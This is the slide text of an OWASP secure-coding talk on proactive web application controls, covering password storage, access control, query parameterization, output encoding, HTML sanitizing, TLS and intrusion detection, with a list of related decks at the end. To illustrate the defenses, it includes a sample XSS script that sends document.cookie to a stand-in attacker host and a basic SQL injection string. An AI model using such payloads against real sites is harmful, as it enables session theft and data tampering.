SlideShare une entreprise Scribd logo
1  sur  85
Top Ten Proactive
Web Application
Controls
Jim Manico
@manicode

OWASP Volunteer
- Global OWASP Board Member
- OWASP Cheat-Sheet Series, Top Ten
Proactive Controls, OWASP Java
Encoder and HTML Sanitizer Project
Manager and Contributor
Secure-Coding Instructor/Author
- 16 years of web-based, databasedriven software development and
analysis experience
- Working on a Java Security book with
McGraw-Hill and Oracle Press!
Kama'aina Resident of Kauai, Hawaii
- Aloha!
- Unofficial resident of OC
WARNING
THIS IS AN AWARENESS DOCUMENT.
THERE ARE MORE THAN 10 ISSUES.
“YOU CANNOT BASE AN APPSEC
PROGRAM OFF OF A TOP TEN LIST.”
– Hoffs Law
Security Architecture and Design
Security Architecture and Design
Strategic effort
Business, technical and security stakeholders agree
on both the functional and non-functional security
properties of software well before it is built.
Example: state
Should you use the request and hidden parameters?
Should you use a web session?
Should you use the database?
These decisions have dramatic security implications
Comments from the Field : Jim
Bird
• Must discuss tiering and trust. Deciding what is
done in the UI, the web layer, the business
layer, the data layer, and introducing trust
zones/boundaries into this.
• What is inside/outside of a trust zone/boundary,
what sources can be trusted, what cannot be.
• Specific controls need to exist at certain layers.
• Attack Surface also comes into
architecture/design.
Security Requirements
Security Requirements (SDLC)
Functional requirements
Visible and Q/A testable feature in the application
Forgot password workflow
Re-authentication during change password
Non functional requirements
“Invisible” quality aspects of software
Not easily testable by Q/A staff
Query Parameterization
Password Storage Crypto
Comments from the Field : Jim Bird
• Need to add business logic requirements, a
much more difficult task
• What happens if a step fails or is skipped or
is replayed/repeated?
• Just thinking about errors and edge cases
will close a lot of holes. (Well….)
• Need to add privacy requirements,
especially in Europe (Not so much in the
US. Cough.)
Leverage Security Features of
Frameworks and Security Libraries
Apache SHIRO
http://shiro.apache.org/

• Apache Shiro is a powerful and easy to use Java
security framework.
• Offers developers an intuitive yet comprehensive
solution to authentication, authorization,
cryptography, and session management.
• Built on sound interface-driven design and OO
principles.
• Enables custom behavior.
• Sensible and secure defaults for everything.
Google KeyCzar
https://code.google.com/p/keyczar/

•
•
•
•

A simple applied crypto API
Key rotation and versioning
Safe default algorithms, modes, and key lengths
Automated generation of initialization vectors and
ciphertext signatures
• Java implementation
• Supports Python, C++ and Java
Recent CSRF Attacks (2012)
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

• No third party libraries or configuration necessary
• This code was designed for high-availability/highperformance encoding functionality
• Simple drop-in encoding functionality
• Redesigned for performance
• More complete API (uri and uri component
encoding, etc) in some regards.
• Java 1.5+
• Last updated February 14, 2013 (version 1.1)
OWASP HTML Sanitizer Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project

• HTML Sanitizer written in Java which lets you include HTML
authored by third-parties in your web application while protecting
against XSS.
• This code was written with security best practices in mind, has an
extensive test suite, and has undergone adversarial security review
https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewG
.
• Very easy to use.
• It allows for simple programmatic POSITIVE policy configuration. No
XML config.
• Actively maintained by Mike Samuel from Google's AppSec team!
• This is code from the Caja project that was donated by Google. It is
rather high performance and low memory utilization.
Secure Software Dev Strategy
• Building YOUR Software Security Framework
• Leverage Existing Secure Coding Libraries
• Using, Mastering and Modifying security
characteristics of software frameworks
• Developer Security Education around your security
frameworks
• Secure Coding Standards around your framework
• Threat Modeling around your framework
• KEEP YOUR FRAMEWORKS UPDATED (T10A9)
Authentication and Identity
Password Defenses
Disable Browser Autocomplete
<form AUTOCOMPLETE="off">
<input AUTOCOMPLETE="off">
Only send passwords over HTTPS POST
Do not display passwords in browser
Input type=password
Store password based on need
Use a salt (de-duplication)
SCRYPT/PBKDF2 (slow, performance hit, easy)
HMAC (requires good key storage, tough)
Password Storage in the Real World
1) Do not limit the type of characters or
length of user password
• Limiting passwords to protect against
injection is doomed to failure
• Use proper encoder and other defenses
described instead
• Be wary of systems that allow unlimited
password sizes (Django DOS Sept 2003)
Password Storage in the Real World
2) Use a cryptographically strong
credential-specific salt
•protect( [salt] + [password] );
•Use a 32char or 64char salt (actual size
dependent on protection function);
•Do not depend on hiding, splitting, or otherwise
obscuring the salt
Leverage Keyed Functions
3a) Impose difficult verification on [only]
the attacker (strong/fast)
•HMAC-SHA-256( [private key], [salt] + [password] )
•Protect this key as any private key using best
practices
•Store the key outside the credential store
•Build the password-to-hash conversion as a
separate webservice (cryptograpic isolation).
Password Storage in the Real World
3b) Impose difficult verification on the
attacker and defender (weak/slow)
 

•PBKDF2([salt] + [password], c=10,000,000); 
•Use PBKDF2 when FIPS certification or 
enterprise support on many platforms is required
•Use Scrypt where resisting any/all hardware 
accelerated attacks is necessary but enterprise 
support and scale is not. 
Password1!
Multi Factor Authentication

Google, Facebook, PayPal, Apple, AWS, Dropbox, Twitter
Blizzard's Battle.Net, Valve's Steam, Yahoo
Forgot Password Secure Design
Require identity questions
Last name, account number, email, DOB
Enforce lockout policy
Ask one or more good security questions
https://www.owasp.org/index.php/Choosing_and_Using_Security_
Questions_Cheat_Sheet

Send the user a randomly generated token via out-of-band
email, SMS or token
Verify code in same web session
Enforce lockout policy
Change password
Enforce password policy
Re-authentication
Cheating
•
•
•
•

Authentication Cheat Sheet
Password Storage Cheat Sheet
Forgot Password Cheat Sheet
Session Management Cheat Sheet

• Obviously, identity is a BIG topic.

28
Access Control
Access Control Anti-Patterns
•
•
•
•
•

Hard-coded role checks in application code
Lack of centralized access control logic
Untrusted data driving access control decisions
Access control that is “open by default”
Lack of addressing horizontal access control in a
standardized way (if at all)
• Access control logic that needs to be manually added
to every endpoint in code
• Access Control that is “sticky” per session
• Access Control that requires per-user policy
© 2013 WhiteHat Security, Inc
Most Coders Hard-Code Roles in Code
if ( user.isRole( "JEDI" ) ||
if ( user.isRole( "JEDI" ) ||
user.isRole( "PADWAN" ) ||
user.isRole( "PADWAN" ) ||
user.isRole( "SITH_LORD" ) ||
user.isRole( "SITH_LORD" ) ||
user.isRole( "JEDI_KILLING_CYBORG" )
user.isRole( "JEDI_KILLING_CYBORG" )
) {
) {
log.info("You may use a lightsaber ring. Use it wisely.");
log.info("You may use a lightsaber ring. Use it wisely.");
} else {
} else {
log.info("Lightsaber rings are for schwartz masters.");
log.info("Lightsaber rings are for schwartz masters.");
}
}
Solving Real World Access Control Problems
with the Apache Shiro

The Problem
The Problem

Web Application needs secure access control mechanism
Web Application needs secure access control mechanism

The Solution
The Solution
if ( currentUser.isPermitted( "lightsaber:wield" ) ) {
if ( currentUser.isPermitted( "lightsaber:wield" ) ) {
log.info("You may use a lightsaber ring. Use it wisely.");
log.info("You may use a lightsaber ring. Use it wisely.");
} else {
} else {
log.info("Sorry, lightsaber rings are for schwartz masters only.");
log.info("Sorry, lightsaber rings are for schwartz masters only.");
}
}
Solving Real World Access Control Problems
with the Apache Shiro
The Problem
The Problem
Web Application needs to secure access to aaspecific object
Web Application needs to secure access to specific object

The Solution
The Solution
int winnebagoId = request.getInt("winnebago_id");
int winnebagoId = request.getInt("winnebago_id");
if ( currentUser.isPermitted( "winnebago:drive:" + winnebagoId) ) {
if ( currentUser.isPermitted( "winnebago:drive:" + winnebagoId) ) {
log.info("You are permitted to 'drive' the 'winnebago’. Here are the keys.");
log.info("You are permitted to 'drive' the 'winnebago’. Here are the keys.");
} else {
} else {
log.info("Sorry, you aren't allowed to drive this winnebago!");
log.info("Sorry, you aren't allowed to drive this winnebago!");
}
}
Content Security Policy
• Anti-XSS W3C standard http://www.w3.org/TR/CSP/ 
• Move all inline script and style into external files
• Add the X-Content-Security-Policy response header to 
instruct the browser that CSP is in use
• The CSP Script-Hash and/or Script-nonce directive lets you 
set up integrity checks for existing inline static JavaScript 
(this is amazing and is not talked about enough).
• Define a policy for the site regarding loading of content
• Chrome version 25 and later (50%)
• Firefox version 23 and later (30%)
• Internet Explorer version 10 and later (10%)
Query Parameterization
';
Anatomy of a SQL Injection Attack

$NEW_EMAIL = Request['new_email'];
update users set email='$NEW_EMAIL'
where id=132005;
Anatomy of a SQL Injection Attack
1. SUPER AWESOME HACK: $NEW_EMAIL =

';

2. update users set email='$NEW_EMAIL'
where id=132005;
3. update users set email='';'
where id=132005;
Query Parameterization (PHP PDO)

$stmt = $dbh->prepare(”update users set
email=:new_email where id=:user_id”);
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);
Query Parameterization (.NET)
SqlConnection objConnection = new
SqlConnection(_ConnectionString);
objConnection.Open();
SqlCommand objCommand = new SqlCommand(
"SELECT * FROM User WHERE Name = @Name
AND Password = @Password",
objConnection);
objCommand.Parameters.Add("@Name",
NameTextBox.Text);
objCommand.Parameters.Add("@Password",
PassTextBox.Text);
SqlDataReader objReader =
objCommand.ExecuteReader();
Query Parameterization (Java)
String newName = request.getParameter("newName");
String id = request.getParameter("id");
//SQL
PreparedStatement pstmt = con.prepareStatement("UPDATE
EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);
//HQL
Query safeHQLQuery = session.createQuery("from
Employees where id=:empId");
safeHQLQuery.setParameter("empId", id);
Query Parameterization (PERL DBI)
my $sql = "INSERT INTO foo (bar, baz) VALUES
( ?, ? )";
my $sth = $dbh->prepare( $sql );
$sth->execute( $bar, $baz );
Encoding
Anatomy of a XSS Attack
<script >
var
badURL=‘https://evileviljim.com/somesit
e/data=‘ + document.cookie;
var img = new Image();
img.src = badURL;
</script>
<script>document.body.innerHTML=‘<blink
>CYBER IS COOL</blink>’;</script>
Contextual Output Encoding
(XSS Defense)
– Session Hijacking
– Site Defacement
– Network Scanning
– Undermining CSRF Defenses
– Site Redirection/Phishing
– Load of Remotely Hosted Scripts
– Data Theft
– Keystroke Logging
– Attackers using XSS more frequently
XSS Defense by Data Type and Context
Data Type

Context

Defense

String

HTML Body

HTML Entity Encode

String

HTML Attribute

Minimal Attribute Encoding

String

GET Parameter

URL Encoding

String

Untrusted URL

URL Validation, avoid javascript: URLs,
Attribute encoding, safe URL verification

String

CSS

Strict structural validation, CSS Hex
encoding, good design

HTML

HTML Body

HTML Validation (JSoup, AntiSamy, HTML
Sanitizer)

Any

DOM

DOM XSS Cheat Sheet

Untrusted JavaScript

Any

Sandboxing

JSON

Client Parse Time

JSON.parse() or json2.js

Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing,
class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight,
marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan,
scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
<
&lt;
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

• No third party libraries or configuration necessary
• This code was designed for high-availability/highperformance encoding functionality
• Simple drop-in encoding functionality
• Redesigned for performance
• More complete API (uri and uri component
encoding, etc) in some regards.
• Java 1.5+
• Last updated February 14, 2013 (version 1.1)
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

The Problem
The Problem
Web Page built in Java JSP is vulnerable to XSS
Web Page built in Java JSP is vulnerable to XSS

The Solution
The Solution
1) <input type="text" name="data" value="<%= Encode.forHtmlAttribute(dataValue) %>" />
1) <input type="text" name="data" value="<%= Encode.forHtmlAttribute(dataValue) %>" />
2) <textarea name="text"><%= Encode.forHtmlContent(textValue) %></textarea>
2) <textarea name="text"><%= Encode.forHtmlContent(textValue) %></textarea>
3) <button
3) <button
onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');">
onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');">
click me
click me
</button>
</button>
4) <script type="text/javascript">
4) <script type="text/javascript">
var msg = "<%= Encode.forJavaScriptBlock(message) %>";
var msg = "<%= Encode.forJavaScriptBlock(message) %>";
alert(msg);
alert(msg);
</script>
</script>
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

HTML Contexts
Encode#forHtmlContent(String)
Encode#forHtmlAttribute(String)
Encode#forHtmlUnquotedAttribute
(String)
XML Contexts
Encode#forXml(String)
Encode#forXmlContent(String)
Encode#forXmlAttribute(String)
Encode#forXmlComment(String)
Encode#forCDATA(String)

CSS Contexts
Encode#forCssString(String)
Encode#forCssUrl(String)
JavaScript Contexts
Encode#forJavaScript(String)
Encode#forJavaScriptAttribute(String)
Encode#forJavaScriptBlock(String)
Encode#forJavaScriptSource(String)
URI/URL contexts
Encode#forUri(String)
Encode#forUriComponent(String)
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

<script src="/my-server-side-generated-script">
<script src="/my-server-side-generated-script">
class MyServerSideGeneratedScript extends HttpServlet {{
class MyServerSideGeneratedScript extends HttpServlet
void doGet(blah) {{
void doGet(blah)
response.setContentType("text/javascript; charset=UTF-8");
response.setContentType("text/javascript; charset=UTF-8");
PrintWriter w = response.getWriter(); w.println("function() {");
PrintWriter w = response.getWriter(); w.println("function() {");
w.println(" alert('" + Encode.forJavaScriptSource(theTextToAlert) +
w.println(" alert('" + Encode.forJavaScriptSource(theTextToAlert) +
"');");
"');");
w.println("}");
w.println("}");
}}
}}
Other Encoding Libraries
• Ruby on Rails
– http://api.rubyonrails.org/classes/ERB/Util.html

• Reform Project
– Java, .NET v1/v2, PHP, Python, Perl, JavaScript, Classic ASP
– https://www.owasp.org/index.php/
Category:OWASP_Encoding_Project

• ESAPI
– PHP.NET, Python, Classic ASP, Cold Fusion
– https://www.owasp.org/index.php/
Category:OWASP_Enterprise_Security_API

• .NET AntiXSS Library
– http://wpl.codeplex.com/releases/view/80289
Validation
OWASP HTML Sanitizer Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project

• HTML Sanitizer written in Java which lets you include HTML
authored by third-parties in your web application while
protecting against XSS.
• This code was written with security best practices in mind, has
an extensive test suite, and has undergone adversarial
security review
https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackR
.
• Very easy to use.
• It allows for simple programmatic POSITIVE policy
configuration. No XML config.
• Actively maintained by Mike Samuel from Google's AppSec
team!
• This is code from the Caja project that was donated by
Google. It is rather high performance and low memory
OWASP
utilization.
Solving Real World Problems with the OWASP
HTML Sanitizer Project
The Problem
The Problem
Web Page is vulnerable to XSS because of untrusted HTML
Web Page is vulnerable to XSS because of untrusted HTML

The Solution
The Solution
PolicyFactory policy = new HtmlPolicyBuilder()
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("a")
.allowElements("a")
.allowUrlProtocols("https")
.allowUrlProtocols("https")
.allowAttributes("href").onElements("a")
.allowAttributes("href").onElements("a")
.requireRelNofollowOnLinks()
.requireRelNofollowOnLinks()
.build();
.build();
String safeHTML = policy.sanitize(untrustedHTML);
String safeHTML = policy.sanitize(untrustedHTML);
Other HTML Sanitizers
File Upload Security
•
•
•
•

•

Upload Verification
– Filename and Size validation + antivirus
Upload Storage
– Use only trusted filenames + separate domain
Beware of "special" files
– "crossdomain.xml" or "clientaccesspolicy.xml".
Image Upload Verification
– Enforce proper image size limits
– Use image rewriting libraries
– Set the extension of the stored image to be a valid image extension
– Ensure the detected content type of the image is safe
Generic Upload Verification
– Ensure decompressed size of file < maximum size
– Ensure that an uploaded archive matches the type expected (zip, rar)
– Ensure structured uploads such as an add-on follow proper standard
Comments from the Field: Jim Bird
• Bird: The point on treating all client side data
as untrusted is important, and can be tied
back to trust zones/boundaries in
design/architecture.
• Manico: Ideally I like to consider all tiers to be
untrusted and build controls at all layers, but
this is not practical or even possible for some
very large systems.
60
Data Protection and Privacy
Encryption in Transit (HTTPS/TLS)
• HTTPS
– Hypertext Transfer Protocol Secure!
• What benefits do HTTPS provide?
– Confidentiality, Integrity and Authenticity
– Confidentiality: Spy cannot view your data
– Integrity: Spy cannot change your data
– Authenticity: Server you are visiting is the right
one
Encryption in Transit (HTTPS/TLS)
• When should TLS be used?
– Authentication credentials and session identifiers
must be encrypted in transit via HTTPS/SSL
– Starting when the login form is rendered until
logout is complete
• HTTPS configuration best practices
– https://www.owasp.org/index.php/Transport_Lay
er_Protection_Cheat_Sheet
– https://www.ssllabs.com/projects/best-practices/
Fixing the TLS and the Certificate Authority System

• HSTS (Strict Transport Security)
– http://www.youtube.com/watch?v=zEV3HOuM_Vw
– Strict-Transport-Security: max-age=31536000
– CAN HARM PRIVACY. Wildcard certs must require includeSubDomains
(wut up Rsnake)

• Browser Certificate Pruning (Etsy/Zane Lackey)
– http://codeascraft.com/2013/07/16/reducing-the-roots-of-some-evil/
• Certificate Pinning
– https://www.owasp.org/index.php/Pinning_Cheat_Sheet
• Certificate Creation Transparency
– http://certificate-transparency.org
HSTS – Strict Transport Security
• HSTS (Strict Transport Security)
–Strict-Transport-Security: max-age=31536000; includeSubDomains

• Forces browser to only make HTTPS connections to webserver
•Header must be initially delivered over a HTTPS connection
•You can request that Chromium preloads your websites HSTS
headers by default
•http://dev.chromium.org/sts
Certificate Pinning
• What is Certificate Pinning?
– Pinning is a key continuity scheme
– Detect when an imposter with a fake but CA validated
certificate attempts to act like the real server
– 2 Types of pinning
• Carry around a copy of the server’s public key
– Great if you are distributing a dedicated client-server
application since you know the server’s certificate or public
key in advance
• Note of the server’s public key on first use
– Trust-on-First-Use, Tofu
– Useful when no a priori knowledge exists, such as SSH or a
Browser
• https://www.owasp.org/index.php/Pinning_Cheat_Sheet
AES
AES-ECB
AES-GCM
AES-CBC
unique IV per message
padding
key storage and management +
cryptographic process isolation
confidentiality!
HMAC your ciphertext
integrity
derive integrity and
confidentiality keys from same
master key with labeling
don’t forget to generate a master
key from a good random source
Solving Real World Crypto Storage Problems
With Google KeyCzar
The Problem
The Problem
Web Application needs to encrypt and decrypt sensitive data
Web Application needs to encrypt and decrypt sensitive data

The Solution
The Solution
Crypter crypter = new Crypter("/path/to/your/keys");
Crypter crypter = new Crypter("/path/to/your/keys");
String ciphertext = crypter.encrypt("Secret message");
String ciphertext = crypter.encrypt("Secret message");
String plaintext = crypter.decrypt(ciphertext);
String plaintext = crypter.decrypt(ciphertext);
Keyczar is an open source cryptographic toolkit for Java
Designed to make it easier and safer for developers to use cryptography in their applications.
•A simple API
•Key rotation and versioning
•Safe default algorithms, modes, and key lengths
•Automated generation of initialization vectors and ciphertext signatures
•Java implementation
•Inferior Python and C++ support because Java is way cooler
Error Handling, Logging and
Intrusion Detection
App Layer Intrusion Detection
• Great detection points to start with
– Input validation failure server side when client
side validation exists
– Input validation failure server side on non-user
editable parameters such as hidden fields,
checkboxes, radio buttons or select lists
– Forced browsing to common attack entry points
– Honeypot URL (e.g. a fake path listed in
robots.txt like e.g. /admin/secretlogin.jsp)
App Layer Intrusion Detection
• Others
– Blatant SQLi or XSS injection attacks
– Workflow sequence abuse (e.g. multi-part form in
wrong order)
– Custom business logic (e.g. basket vs catalogue
price mismatch)
– Further Study:
• “libinjection: from SQLi to XSS” – Nick Galbreath
• “Attack Driven Defense” – Zane Lackey
OWASP AppSensor (Java)
• Project and mailing list
https://www.owasp.org/index.php/OWASP_
AppSensor_Project
• Four-page briefing, Crosstalk, Journal of
Defense Software Engineering
• http://www.crosstalkonline.org/storage/issue
-archives/2011/201109/201109-Watson.pdf
THANK YOU!
@manicode
jim@owasp.org
jim@manico.net
http://slideshare.net/jimmanico

Contenu connexe

Tendances

Security in practice with Java EE 6 and GlassFish
Security in practice with Java EE 6 and GlassFishSecurity in practice with Java EE 6 and GlassFish
Security in practice with Java EE 6 and GlassFish
Markus Eisele
 
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADFOWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
Brian Huff
 
[Wroclaw #7] Security test automation
[Wroclaw #7] Security test automation[Wroclaw #7] Security test automation
[Wroclaw #7] Security test automation
OWASP
 

Tendances (20)

DVWA(Damn Vulnerabilities Web Application)
DVWA(Damn Vulnerabilities Web Application)DVWA(Damn Vulnerabilities Web Application)
DVWA(Damn Vulnerabilities Web Application)
 
Ten Commandments of Secure Coding
Ten Commandments of Secure CodingTen Commandments of Secure Coding
Ten Commandments of Secure Coding
 
Beyond OWASP Top 10 - Hack In Paris 2017
Beyond OWASP Top 10 - Hack In Paris 2017Beyond OWASP Top 10 - Hack In Paris 2017
Beyond OWASP Top 10 - Hack In Paris 2017
 
Java Secure Coding Practices
Java Secure Coding PracticesJava Secure Coding Practices
Java Secure Coding Practices
 
How to avoid top 10 security risks in Java EE applications and how to avoid them
How to avoid top 10 security risks in Java EE applications and how to avoid themHow to avoid top 10 security risks in Java EE applications and how to avoid them
How to avoid top 10 security risks in Java EE applications and how to avoid them
 
HackFest 2015 - Rasp vs waf
HackFest 2015 - Rasp vs wafHackFest 2015 - Rasp vs waf
HackFest 2015 - Rasp vs waf
 
Java Security Framework's
Java Security Framework'sJava Security Framework's
Java Security Framework's
 
Security in practice with Java EE 6 and GlassFish
Security in practice with Java EE 6 and GlassFishSecurity in practice with Java EE 6 and GlassFish
Security in practice with Java EE 6 and GlassFish
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or Succeed
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Java Security
Java SecurityJava Security
Java Security
 
Beyond OWASP Top 10 - TASK October 2017
Beyond OWASP Top 10 - TASK October 2017Beyond OWASP Top 10 - TASK October 2017
Beyond OWASP Top 10 - TASK October 2017
 
Android Pentesting
Android PentestingAndroid Pentesting
Android Pentesting
 
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADFOWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
 
Secure code
Secure codeSecure code
Secure code
 
Build A Killer Client For Your REST+JSON API
Build A Killer Client For Your REST+JSON APIBuild A Killer Client For Your REST+JSON API
Build A Killer Client For Your REST+JSON API
 
[Wroclaw #7] Security test automation
[Wroclaw #7] Security test automation[Wroclaw #7] Security test automation
[Wroclaw #7] Security test automation
 

En vedette

Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
mirahman
 
Web Server Web Site Security
Web Server Web Site SecurityWeb Server Web Site Security
Web Server Web Site Security
Steven Cahill
 
Tutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the WebTutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the Web
dpd
 

En vedette (20)

Security in Web 2.0, Social Web and Cloud
Security in Web 2.0, Social Web and CloudSecurity in Web 2.0, Social Web and Cloud
Security in Web 2.0, Social Web and Cloud
 
Web Security
Web SecurityWeb Security
Web Security
 
Introduction to web security @ confess 2012
Introduction to web security @ confess 2012Introduction to web security @ confess 2012
Introduction to web security @ confess 2012
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
 
Cisco Study: State of Web Security
Cisco Study: State of Web Security Cisco Study: State of Web Security
Cisco Study: State of Web Security
 
Web Security
Web SecurityWeb Security
Web Security
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
Modern Web Security
Modern Web SecurityModern Web Security
Modern Web Security
 
Top 10 Web App Security Risks
Top 10 Web App Security RisksTop 10 Web App Security Risks
Top 10 Web App Security Risks
 
Introduction to Web security
Introduction to Web securityIntroduction to Web security
Introduction to Web security
 
Web security
Web securityWeb security
Web security
 
Web Server Web Site Security
Web Server Web Site SecurityWeb Server Web Site Security
Web Server Web Site Security
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity
 
Extreme security in web servers
Extreme security in  web serversExtreme security in  web servers
Extreme security in web servers
 
Web Security
Web SecurityWeb Security
Web Security
 
Tutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the WebTutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the Web
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
 
Web security
Web securityWeb security
Web security
 

Similaire à Top Ten Proactive Web Security Controls v5

Cm9 secure code_training_1day_input sanitization
Cm9 secure code_training_1day_input sanitizationCm9 secure code_training_1day_input sanitization
Cm9 secure code_training_1day_input sanitization
dcervigni
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
cgt38842
 
Abusing bleeding edge web standards for appsec glory
Abusing bleeding edge web standards for appsec gloryAbusing bleeding edge web standards for appsec glory
Abusing bleeding edge web standards for appsec glory
Priyanka Aash
 

Similaire à Top Ten Proactive Web Security Controls v5 (20)

Cm9 secure code_training_1day_input sanitization
Cm9 secure code_training_1day_input sanitizationCm9 secure code_training_1day_input sanitization
Cm9 secure code_training_1day_input sanitization
 
Slides for the #JavaOne Session ID: CON11881
Slides for the #JavaOne Session ID: CON11881Slides for the #JavaOne Session ID: CON11881
Slides for the #JavaOne Session ID: CON11881
 
Java EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFishJava EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFish
 
How to Use OWASP Security Logging
How to Use OWASP Security LoggingHow to Use OWASP Security Logging
How to Use OWASP Security Logging
 
Ten Commandments of Secure Coding - OWASP Top Ten Proactive Controls
Ten Commandments of Secure Coding - OWASP Top Ten Proactive ControlsTen Commandments of Secure Coding - OWASP Top Ten Proactive Controls
Ten Commandments of Secure Coding - OWASP Top Ten Proactive Controls
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
Magento Application Security [EN]
Magento Application Security [EN]Magento Application Security [EN]
Magento Application Security [EN]
 
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
OWASP Top 10 Proactive Controls 2016 - PHP Québec August 2017
OWASP Top 10 Proactive Controls 2016 - PHP Québec August 2017OWASP Top 10 Proactive Controls 2016 - PHP Québec August 2017
OWASP Top 10 Proactive Controls 2016 - PHP Québec August 2017
 
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017 OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
 
OWASP SF - Reviewing Modern JavaScript Applications
OWASP SF - Reviewing Modern JavaScript ApplicationsOWASP SF - Reviewing Modern JavaScript Applications
OWASP SF - Reviewing Modern JavaScript Applications
 
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
 
How do JavaScript frameworks impact the security of applications?
How do JavaScript frameworks impact the security of applications?How do JavaScript frameworks impact the security of applications?
How do JavaScript frameworks impact the security of applications?
 
Javascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackJavascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stack
 
Security at Greenhouse
Security at GreenhouseSecurity at Greenhouse
Security at Greenhouse
 
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptxThe Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
 
Aleksei Dremin - Application Security Pipeline - phdays9
Aleksei Dremin - Application Security Pipeline - phdays9Aleksei Dremin - Application Security Pipeline - phdays9
Aleksei Dremin - Application Security Pipeline - phdays9
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
